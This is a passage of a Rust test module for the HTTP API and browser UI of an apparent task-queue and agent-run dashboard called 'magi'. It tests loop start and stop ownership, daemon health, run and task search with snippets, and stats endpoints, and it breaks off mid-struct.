11162 let mut task = Task::new(
11163 "landed while held".to_owned(),
11164 "x".to_owned(),
11165 PathBuf::from("/repo/magi"),
11166 Source::Human,
11167 );
11168 task.hold_manual(Some("waiting on 3ed9".to_owned()));
11169 queue.put(&mut task).expect("file the held task");
11170
11171 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11172 assert_eq!(done.status, 200, "{}", done.body);
11173 assert_eq!(done.json()["status_str"], "done");
11174 assert!(
11175 done.json()["hold_reason"].is_null(),
11176 "a done task cannot still be waiting on something: {}",
11177 done.body
11178 );
11179 }
11180
11181 #[tokio::test]
11182 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11183 let f = Fixture::start().await;
11188 let queue = f.queue();
11189 let runs = f.runs();
11190 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11191 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11195
11196 let mut task = Task::new(
11197 "landed by hand".to_owned(),
11198 "x".to_owned(),
11199 PathBuf::from("/repo/magi"),
11200 Source::Human,
11201 );
11202 task.runs.push("20260101-000000-doa1".to_owned());
11203 task.runs.push("20260101-000000-doa2".to_owned());
11204 queue.put(&mut task).expect("file the task");
11205
11206 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11207 assert_eq!(done.status, 200, "{}", done.body);
11208
11209 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11210 .expect("run still on disk under this fixture's own home");
11211 assert_eq!(
11212 reloaded_run.status,
11213 RunStatus::Superseded,
11214 "closing the task by hand must relabel the earlier blocked attempt exactly \
11215 like the loop's own settle path does"
11216 );
11217 }
11218
11219 #[tokio::test]
11220 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11221 let f = Fixture::start().await;
11226 let queue = f.queue();
11227 let runs = f.runs();
11228 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11229 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11230
11231 let mut task = Task::new(
11232 "closed with nothing actually landed".to_owned(),
11233 "x".to_owned(),
11234 PathBuf::from("/repo/magi"),
11235 Source::Human,
11236 );
11237 task.runs.push("20260101-000000-dob1".to_owned());
11238 task.runs.push("20260101-000000-dob2".to_owned());
11239 queue.put(&mut task).expect("file the task");
11240
11241 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11242 assert_eq!(done.status, 200, "{}", done.body);
11243
11244 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11245 .expect("run still on disk under this fixture's own home");
11246 assert_eq!(
11247 reloaded_run.status,
11248 RunStatus::Blocked,
11249 "the last recorded attempt never landed, so the earlier one must not be \
11250 relabelled as superseded by it"
11251 );
11252 }
11253
11254 #[tokio::test]
11255 async fn unknown_ids_are_json_not_found_on_both_stores() {
11256 let f = Fixture::start().await;
11257
11258 let run = f.get("/api/runs/nosuchrun").await;
11259 let task = f.post("/api/queue/nosuchtask/hold", None).await;
11260
11261 assert_eq!(run.status, 404);
11262 assert_eq!(task.status, 404);
11263 assert!(
11264 run.json()["error"]
11265 .as_str()
11266 .is_some_and(|e| e.contains("run")),
11267 "the error names what was not found: {}",
11268 run.body
11269 );
11270 assert!(
11271 task.json()["error"]
11272 .as_str()
11273 .is_some_and(|e| e.contains("task")),
11274 "the error names what was not found: {}",
11275 task.body
11276 );
11277 }
11278
11279 #[tokio::test]
11280 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11281 let f = Fixture::start().await;
11282
11283 let missing = f.get("/api/health").await.json();
11284 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11285
11286 write_daemon(
11287 f.home.path(),
11288 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11289 );
11290 let stale = f.get("/api/health").await.json();
11291 assert_eq!(
11292 stale["daemon"]["running"], false,
11293 "a minute without a heartbeat is a dead daemon, not a busy one"
11294 );
11295 assert!(
11296 stale["daemon"]["stale_for_secs"]
11297 .as_i64()
11298 .is_some_and(|s| s >= 55),
11299 "staleness is reported so the UI can say how long: {stale}"
11300 );
11301
11302 write_daemon(f.home.path(), Timestamp::now());
11303 let fresh = f.get("/api/health").await.json();
11304 assert_eq!(fresh["daemon"]["running"], true);
11305 assert_eq!(fresh["daemon"]["idle"], false);
11306 assert_eq!(fresh["daemon"]["pid"], 4242);
11307 assert_eq!(fresh["daemon"]["completed"], 7);
11308 assert_eq!(
11309 fresh["daemon"]["current"][0]["task"],
11310 "20260902-140501-aaaa"
11311 );
11312 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11313 }
11314
11315 #[tokio::test]
11316 async fn the_loop_is_not_running_until_something_starts_it() {
11317 let f = Fixture::start().await;
11318
11319 let view = f.get("/api/loop").await.json();
11320 assert_eq!(view["running"], false);
11321 assert_eq!(
11322 view["owned"], false,
11323 "nobody owns a loop that does not exist: {view}"
11324 );
11325 assert_eq!(view["stopping"], false);
11326 assert_eq!(view["last_error"], Value::Null);
11327 assert_eq!(view["daemon"]["running"], false);
11328 assert_eq!(
11329 view["repo"], "/repo/magi",
11330 "the repository a start would use, named before it is started"
11331 );
11332 }
11333
11334 #[tokio::test]
11335 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11336 let f = Fixture::start().await;
11337
11338 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11339 assert_eq!(res.status, 200, "{}", res.body);
11340 let view = res.json();
11341 assert_eq!(view["running"], true);
11342 assert_eq!(
11343 view["owned"], true,
11344 "the loop the UI started is the UI's own to stop: {view}"
11345 );
11346 assert_eq!(
11347 view["merge"],
11348 Value::Null,
11349 "no override was given, so each repository's own config decides"
11350 );
11351
11352 let health = f.get("/api/health").await.json();
11356 assert_eq!(health["loop"]["running"], true, "{health}");
11357 assert_eq!(health["loop"]["owned"], true, "{health}");
11358
11359 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11360 }
11361
11362 #[tokio::test]
11363 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11364 let f = Fixture::start().await;
11365 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11366 assert_eq!(first.status, 200, "{}", first.body);
11367
11368 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11369 assert_eq!(
11370 again.status, 409,
11371 "two loops on one queue race for the same claims: {}",
11372 again.body
11373 );
11374 assert!(
11375 again.json()["error"]
11376 .as_str()
11377 .is_some_and(|e| e.contains("already running the loop")),
11378 "the refusal has to say why: {}",
11379 again.body
11380 );
11381 assert_eq!(
11382 f.get("/api/loop").await.json()["running"],
11383 true,
11384 "and the loop that was already running is untouched by it"
11385 );
11386
11387 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11388 }
11389
11390 #[tokio::test]
11391 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11392 let f = Fixture::start().await;
11393 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11394
11395 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11396 assert_eq!(
11397 res.status, 200,
11398 "the answer must not wait for the loop: a run in flight is tens of \
11399 minutes and the operator is holding a phone: {}",
11400 res.body
11401 );
11402
11403 let view = settled(&f, |v| v["running"] == false).await;
11404 assert_eq!(view["owned"], false);
11405 assert_eq!(
11406 view["stopping"], false,
11407 "a loop that has stopped is not still stopping: {view}"
11408 );
11409 assert_eq!(
11410 view["last_error"],
11411 Value::Null,
11412 "a loop that was asked to stop did not fail: {view}"
11413 );
11414
11415 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11418 assert_eq!(twice.status, 200, "{}", twice.body);
11419 }
11420
11421 #[tokio::test]
11422 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11423 let f = Fixture::start().await;
11424 write_daemon(f.home.path(), Timestamp::now());
11427
11428 let view = f.get("/api/loop").await.json();
11429 assert_eq!(view["running"], false, "not in this process: {view}");
11430 assert_eq!(view["owned"], false, "and not this process's to control");
11431 assert_eq!(
11432 view["daemon"]["running"], true,
11433 "but a loop is alive somewhere, which is what the UI must say"
11434 );
11435 assert_eq!(view["daemon"]["pid"], 4242);
11436
11437 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11438 let res = f.post("/api/loop", Some(body)).await;
11439 assert_eq!(
11440 res.status, 409,
11441 "neither button may pretend to work on someone else's loop: {}",
11442 res.body
11443 );
11444 assert!(
11445 res.json()["error"]
11446 .as_str()
11447 .is_some_and(|e| e.contains("4242")),
11448 "the refusal has to name the process the operator must go to: {}",
11449 res.body
11450 );
11451 }
11452 assert_eq!(
11453 f.get("/api/loop").await.json()["running"],
11454 false,
11455 "and the refusal started nothing"
11456 );
11457 }
11458
11459 #[tokio::test]
11460 async fn a_stale_status_file_is_not_a_foreign_owner() {
11461 let f = Fixture::start().await;
11462 write_daemon(
11463 f.home.path(),
11464 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11465 );
11466
11467 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11468 assert_eq!(
11469 res.status, 200,
11470 "a daemon killed a minute ago must not lock the loop out of its \
11471 own home for good: {}",
11472 res.body
11473 );
11474 assert_eq!(res.json()["running"], true);
11475
11476 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11477 }
11478
11479 #[tokio::test]
11480 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11481 let f = Fixture::start().await;
11482 let before = f.get("/api/health").await.json()["loop_rev"]
11483 .as_u64()
11484 .expect("a loop revision");
11485
11486 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11487
11488 let after = f.get("/api/health").await.json()["loop_rev"]
11489 .as_u64()
11490 .expect("a loop revision");
11491 assert!(
11492 after > before,
11493 "the loop is in-process state, so this counter is the only thing \
11494 that tells a second device the first one started it: {before} -> \
11495 {after}"
11496 );
11497
11498 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11499 }
11500
11501 #[tokio::test]
11502 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11503 let f = Fixture::with_loop(launch_broken).await;
11504
11505 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11506 assert_eq!(
11507 res.status, 200,
11508 "starting it is not the failure: {}",
11509 res.body
11510 );
11511
11512 let view = settled(&f, |v| v["last_error"].is_string()).await;
11513 assert_eq!(
11514 view["running"], false,
11515 "a loop that died must not read as running, or the operator has \
11516 nothing to press: {view}"
11517 );
11518 assert_eq!(view["owned"], false);
11519 assert!(
11520 view["last_error"]
11521 .as_str()
11522 .is_some_and(|e| e.contains("read-only file system")),
11523 "the phone is where a loop that died at 3am is visible: {view}"
11524 );
11525
11526 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11529 assert_eq!(again.status, 200, "{}", again.body);
11530 assert!(
11531 again.json()["last_error"]
11532 .as_str()
11533 .is_none_or(|e| !e.contains("read-only file system")),
11534 "a fresh start does not keep showing why the last one died: {}",
11535 again.body
11536 );
11537 }
11538
11539 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11551 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11552 let home = TempDir::new().expect("temp home");
11553 let runs = home.path().join("runs");
11554 std::fs::create_dir_all(&runs).expect("runs dir");
11555 let ui = Ui::new(
11556 Queue::at(home.path().join("queue")),
11557 Questions::at(home.path().join("questions")),
11558 Talks::at(home.path().join("talks")),
11559 runs,
11560 home.path().to_path_buf(),
11561 PathBuf::from("/repo/magi"),
11562 )
11563 .with_worktrees_root(home.path().join("wt"))
11564 .with_launch(launch_knocking_on_the_way_out);
11565 let looping = ui.looping();
11566 let turns = ui.turns();
11567 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11568 .await
11569 .expect("bind loopback");
11570 let addr = listener.local_addr().expect("local addr");
11571 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11572 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11573
11574 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11575 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11576
11577 let bound = std::sync::Mutex::new(None);
11592 hand_over(
11593 home.path(),
11594 &looping,
11595 &turns,
11596 &|_: &[String]| Duration::from_secs(5),
11597 served,
11598 |_| {
11599 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11600 let attempt = loop {
11601 match std::net::TcpListener::bind(addr) {
11602 Ok(l) => {
11603 drop(l);
11604 break Ok(());
11605 }
11606 Err(e)
11607 if e.kind() == std::io::ErrorKind::AddrInUse
11608 && std::time::Instant::now() < deadline =>
11609 {
11610 std::thread::sleep(std::time::Duration::from_millis(10));
11611 }
11612 Err(e) => break Err(e.to_string()),
11613 }
11614 };
11615 *bound.lock().expect("bound") = Some(attempt);
11616 Ok(1)
11617 },
11618 )
11619 .await
11620 .expect("hand over");
11621
11622 assert_eq!(
11623 *PARK_HEARD.lock().expect("park heard"),
11624 Some(200),
11625 "the deck must answer while the loop is parking"
11626 );
11627 let attempt = bound
11628 .lock()
11629 .expect("bound")
11630 .take()
11631 .expect("the successor was started");
11632 assert!(
11633 attempt.is_ok(),
11634 "and the address must be free by the time it is: {attempt:?}"
11635 );
11636 }
11637
11638 #[tokio::test]
11639 async fn a_newer_daemon_status_file_still_renders() {
11640 let f = Fixture::start().await;
11641 std::fs::write(
11644 f.home.path().join("daemon.json"),
11645 serde_json::json!({
11646 "schema": 2,
11647 "updated_at": Timestamp::now().to_string(),
11648 "idle": true,
11649 "surprise": { "nested": [1, 2, 3] },
11650 })
11651 .to_string(),
11652 )
11653 .expect("write daemon.json");
11654
11655 let health = f.get("/api/health").await;
11656
11657 assert_eq!(health.status, 200);
11658 assert_eq!(health.json()["daemon"]["running"], true);
11659 }
11660
11661 #[tokio::test]
11662 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11663 let f = Fixture::start().await;
11664 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11665 let broken = f.runs().join("20260902-140502-bad");
11666 std::fs::create_dir_all(&broken).expect("run dir");
11667 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11668
11669 let list = f.get("/api/runs").await;
11670 let detail = f.get("/api/runs/20260902-140502-bad").await;
11671
11672 assert_eq!(list.status, 200);
11673 let listed = list.json();
11674 let ids: Vec<&str> = listed
11675 .as_array()
11676 .expect("an array")
11677 .iter()
11678 .map(|r| r["id"].as_str().expect("an id"))
11679 .collect();
11680 assert_eq!(
11681 ids,
11682 vec!["20260902-140501-good"],
11683 "one unreadable run must not cost the operator the whole history"
11684 );
11685 assert_eq!(detail.status, 500);
11686 assert!(
11687 detail.json()["error"]
11688 .as_str()
11689 .is_some_and(|e| e.contains("run.json")),
11690 "the failure names the file to look at: {}",
11691 detail.body
11692 );
11693 let health = f.get("/api/health").await;
11697 assert_eq!(health.json()["runs_unreadable"], 1);
11698 }
11699
11700 #[tokio::test]
11702 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11703 let f = Fixture::start().await;
11704 let runs = f.runs();
11705 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11706 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11707 let path = runs.join("20260902-140502-bbbb").join("run.json");
11710 let mut v: serde_json::Value =
11711 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11712 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11713 std::fs::write(&path, v.to_string()).unwrap();
11714 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11715 std::fs::write(
11716 runs.join("20260902-140503-cccc").join("run.json"),
11717 "{ not json",
11718 )
11719 .unwrap();
11720
11721 let res = f.get("/api/search?scope=runs&q=quokka").await;
11722 assert_eq!(res.status, 200, "{}", res.body);
11723 let v = res.json();
11724 assert_eq!(v["total"], 1, "{v}");
11725 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11726 assert_eq!(v["hits"][0]["field"], "text");
11727 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11728 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11729 assert!(
11730 parts
11731 .iter()
11732 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11733 "{v}"
11734 );
11735 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11736 assert_eq!(
11737 flat, "The Quokka leaks across threads",
11738 "whitespace is collapsed"
11739 );
11740
11741 let both = f
11743 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11744 .await
11745 .json();
11746 assert_eq!(both["total"], 1, "{both}");
11747 let neither = f
11748 .get("/api/search?scope=runs&q=quokka%20zebra")
11749 .await
11750 .json();
11751 assert_eq!(neither["total"], 0, "{neither}");
11752 let stmt = f
11754 .get("/api/search?scope=runs&q=mobile%20first")
11755 .await
11756 .json();
11757 assert_eq!(stmt["total"], 2, "{stmt}");
11758 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11759 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11760 }
11761
11762 #[test]
11763 fn snippet_ignores_terms_longer_than_the_field() {
11764 let terms = ["ok".to_owned(), "elephant".to_owned()];
11765 let parts = snippet_of("ok", &terms);
11766 assert_eq!(
11767 parts,
11768 vec![SnippetPart {
11769 text: "ok".to_owned(),
11770 hit: true
11771 }]
11772 );
11773 }
11774
11775 #[test]
11776 fn snippet_marks_matches_longer_than_the_window() {
11777 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11778 let hit_len = |parts: &[SnippetPart]| -> usize {
11779 parts
11780 .iter()
11781 .filter(|p| p.hit)
11782 .map(|p| p.text.chars().count())
11783 .sum()
11784 };
11785 let total =
11786 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11787
11788 let long = "a".repeat(120);
11789 let parts = snippet_of(&long, std::slice::from_ref(&long));
11790 assert!(hit_len(&parts) > 0, "{parts:?}");
11791 assert!(total(&parts) <= cap);
11792
11793 let ja = "あ".repeat(130);
11794 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11795 assert!(hit_len(&parts) > 0, "{parts:?}");
11796 assert!(total(&parts) <= cap);
11797
11798 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11800 let term = format!("ab{}", "c".repeat(100));
11801 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11802 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11803 assert!(total(&parts) <= cap);
11804
11805 let text = format!("{}z", "a".repeat(119));
11807 let parts = snippet_of(&text, &["a".repeat(120)]);
11808 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11809 }
11810
11811 #[tokio::test]
11812 async fn search_caps_hits_and_snippet_length() {
11813 let f = Fixture::start().await;
11814 let runs = f.runs();
11815 for n in 0..(SEARCH_MAX_HITS + 5) {
11816 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11817 }
11818 let v = f.get("/api/search?scope=runs&q=web").await.json();
11819 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11820 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11821 assert_eq!(v["truncated"], true);
11822 assert!(
11824 v["hits"]
11825 .as_array()
11826 .unwrap()
11827 .iter()
11828 .all(|h| h["run"]["status"] == "merged")
11829 );
11830
11831 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11832 let parts = snippet_of(&long, &["needle".to_owned()]);
11833 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11834 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11835 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11836 }
11837
11838 #[tokio::test]
11839 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11840 let f = Fixture::start().await;
11841 let queue = f.queue();
11842 let mut t = Task::new(
11843 "short title".to_owned(),
11844 "line one\nthe hidden Armadillo detail".to_owned(),
11845 PathBuf::from("/repo/magi"),
11846 Source::Agent {
11847 run: "r1".to_owned(),
11848 node: "chat".to_owned(),
11849 },
11850 );
11851 t.last_error = Some("disk full on /tmp".to_owned());
11852 queue.put(&mut t).expect("file the task");
11853
11854 for (q, want) in [
11855 ("armadillo", 1),
11856 ("disk%20FULL", 1),
11857 ("chat", 1),
11858 ("queued", 1),
11859 ("short%20nothing", 0),
11860 ] {
11861 let v = f
11862 .get(&format!("/api/search?scope=tasks&q={q}"))
11863 .await
11864 .json();
11865 assert_eq!(v["total"], want, "{q}: {v}");
11866 }
11867 for bad in [
11868 "/api/search?scope=tasks&q=",
11869 "/api/search?scope=tasks&q=%20",
11870 "/api/search?scope=chats&q=",
11871 "/api/search?scope=chats&q=%20",
11872 "/api/search?scope=nope&q=a",
11873 "/api/search?q=a",
11874 ] {
11875 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11876 }
11877 }
11878
11879 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11881 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11882 .expect("seat value");
11883 let turns: Vec<serde_json::Value> = turns
11884 .iter()
11885 .map(|(who, body)| {
11886 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11887 })
11888 .collect();
11889 let doc = serde_json::json!({
11890 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11891 "status": status, "turns": turns,
11892 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11893 "seat": seat,
11894 });
11895 let dir = f.home.path().join("talks");
11896 std::fs::create_dir_all(&dir).expect("talks dir");
11897 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11898 }
11899
11900 #[tokio::test]
11901 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11902 let f = Fixture::start().await;
11903 write_talk(
11904 &f,
11905 "20260901-000001-aaaa",
11906 "open",
11907 &[
11908 (
11909 "operator",
11910 "\n Why does the Pangolin cache expire?\nsecond line",
11911 ),
11912 ("agent", "Because the TTL is thirty seconds."),
11913 ],
11914 );
11915 write_talk(
11916 &f,
11917 "20260901-000002-bbbb",
11918 "closed",
11919 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11920 );
11921 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11922
11923 let search = |q: &'static str| {
11924 let f = &f;
11925 async move {
11926 f.get(&format!("/api/search?scope=chats&q={q}"))
11927 .await
11928 .json()
11929 }
11930 };
11931
11932 let v = search("PANGOLIN").await;
11933 assert_eq!(v["scope"], "chats");
11934 assert_eq!(v["total"], 1, "{v}");
11935 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11936 assert_eq!(v["hits"][0]["field"], "title");
11937 assert_eq!(v["unreadable"], 1, "{v}");
11938 let marked: Vec<&str> = v["hits"][0]["snippet"]
11939 .as_array()
11940 .unwrap()
11941 .iter()
11942 .filter(|p| p["hit"] == true)
11943 .map(|p| p["text"].as_str().unwrap())
11944 .collect();
11945 assert_eq!(marked, ["Pangolin"]);
11946
11947 let v = search("zebra").await;
11949 assert_eq!(v["total"], 1, "{v}");
11950 assert_eq!(v["hits"][0]["field"], "agent");
11951 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11953 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11954 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11956 assert_eq!(search(q).await["total"], 0, "{q}");
11957 }
11958 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11960 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11962
11963 let v = f.get("/api/search?scope=nope&q=a").await;
11964 assert_eq!(v.status, 400);
11965 assert!(
11966 v.body.contains("scope must be runs, tasks or chats"),
11967 "{}",
11968 v.body
11969 );
11970 }
11971
11972 #[test]
11973 fn a_question_card_links_a_task_id_to_the_task_page() {
11974 let start = APP_JS
11975 .find("function updateAskCard(")
11976 .expect("updateAskCard exists");
11977 let body = &APP_JS[start..];
11978 let body = &body[..body.find("\n}\n").expect("function end")];
11979 assert!(body.contains("question.run_is_task"));
11980 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11981 assert!(body.contains("`#/runs/${question.run}`"));
11982 assert!(body.contains("\"task\" : \"run\""));
11983 }
11984
11985 #[test]
11986 fn plain_text_message_surfaces_go_through_linkify() {
11987 assert!(APP_JS.contains("function linkify("));
11988 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
11989 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
11990 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
11991 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
11992 assert!(!APP_JS.contains("innerHTML = text"));
11993 }
11994
11995 #[test]
11996 fn stats_bars_share_one_id_keyed_plan() {
11997 let start = APP_JS
11998 .find("function statsBarRows(")
11999 .expect("statsBarRows exists");
12000 let body = &APP_JS[start..];
12001 let body = &body[..body.find("\n}\n").expect("function end")];
12002 assert!(body.contains("statsBarPlan(rows)"));
12003 assert!(body.contains("statsAgentTone(row.agent)"));
12004 assert!(!body.contains("candTone(i)"));
12005 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12006 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12007 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12008 }
12009 }
12010
12011 #[test]
12012 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12013 let start = APP_JS
12014 .find("function renderStatsReviewerScatter(")
12015 .expect("renderStatsReviewerScatter exists");
12016 let body = &APP_JS[start..];
12017 let body = &body[..body.find("\n}\n").expect("function end")];
12018 assert!(body.contains("statsScatterPlan(reviewers)"));
12019 assert!(body.contains("statsAgentTone(d.agent)"));
12020 assert!(APP_JS.contains("function statsScatterPlan("));
12021 assert!(
12022 APP_JS.contains("d.submitted < STATS_LOW_N")
12023 || APP_JS.contains("r.submitted < STATS_LOW_N")
12024 );
12025 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12026 assert!(APP_CSS.contains(".precision-scatter"));
12027 }
12028
12029 #[test]
12030 fn advisor_reflection_is_drawn_as_stacked_segments() {
12031 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12032 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12033 let html = include_str!("../assets/ui/index.html");
12034 assert!(html.contains("Approximate"));
12035 for label in ["reflected strongly", "faint", "no proposal"] {
12036 assert!(html.contains(label));
12037 }
12038 let css = include_str!("../assets/ui/app.css");
12039 for c in ["refl-strong", "refl-faint", "refl-absent"] {
12040 assert!(css.contains(&format!(".{c} {{")));
12041 }
12042 }
12043
12044 #[test]
12045 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12046 assert!(APP_JS.contains("function statsDailyPlan("));
12047 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12048 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12049 }
12050
12051 #[test]
12052 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12053 let start = APP_JS
12054 .find("function scheduleSearch(")
12055 .expect("scheduleSearch exists");
12056 let body = &APP_JS[start..];
12057 let body = &body[..body.find("\n}\n").expect("function end")];
12058 assert!(body.contains("s.seq += 1"));
12059 }
12060
12061 #[tokio::test]
12066 async fn stats_runs_unreadable_matches_health() {
12067 let f = Fixture::start().await;
12068 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12069 let broken = f.runs().join("20260902-140502-bad");
12070 std::fs::create_dir_all(&broken).expect("run dir");
12071 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12072
12073 let stats = f.get("/api/stats").await;
12074 let health = f.get("/api/health").await;
12075
12076 assert_eq!(stats.status, 200);
12077 assert_eq!(stats.json()["totals"]["runs"], 1);
12078 assert_eq!(stats.json()["runs_unreadable"], 1);
12079 assert_eq!(
12080 stats.json()["runs_unreadable"],
12081 health.json()["runs_unreadable"],
12082 "the dashboard and /api/health must never disagree about how many \
12083 runs could not be read"
12084 );
12085 }
12086
12087 #[tokio::test]
12088 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12089 let f = Fixture::start().await;
12090 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12091 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12092 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12093
12094 let totals = &f.get("/api/stats").await.json()["totals"];
12095 assert_eq!(totals["runs"], 3);
12096 assert_eq!(totals["merged"], 1);
12097 assert_eq!(totals["stalled"], 1);
12098 assert_eq!(totals["in_progress"], 1);
12099 assert_eq!(totals["blocked"], 0);
12102 assert_eq!(totals["ready"], 0);
12103 }
12104
12105 #[tokio::test]
12106 async fn stats_advisors_report_proposals_and_reflection() {
12107 use crate::advise::{Advice, AdvisorRecord, Reflection};
12108 use crate::verdict::Proposal;
12109
12110 let f = Fixture::start().await;
12111 let mut state = RunState::new(
12112 PathBuf::from("/repo/magi"),
12113 "main".to_owned(),
12114 "0123456789abcdef".to_owned(),
12115 "task".to_owned(),
12116 Config::default(),
12117 );
12118 state.id = "20260902-140501-a".to_owned();
12119 state.status = RunStatus::Merged;
12120 state.advice = Some(Advice {
12121 records: vec![
12122 AdvisorRecord {
12123 seat: "advisor-1".to_owned(),
12124 agent: "alpha".to_owned(),
12125 proposal: Some(Proposal {
12126 approach: "do it".to_owned(),
12127 key_tradeoff: "speed over memory".to_owned(),
12128 risks: Vec::new(),
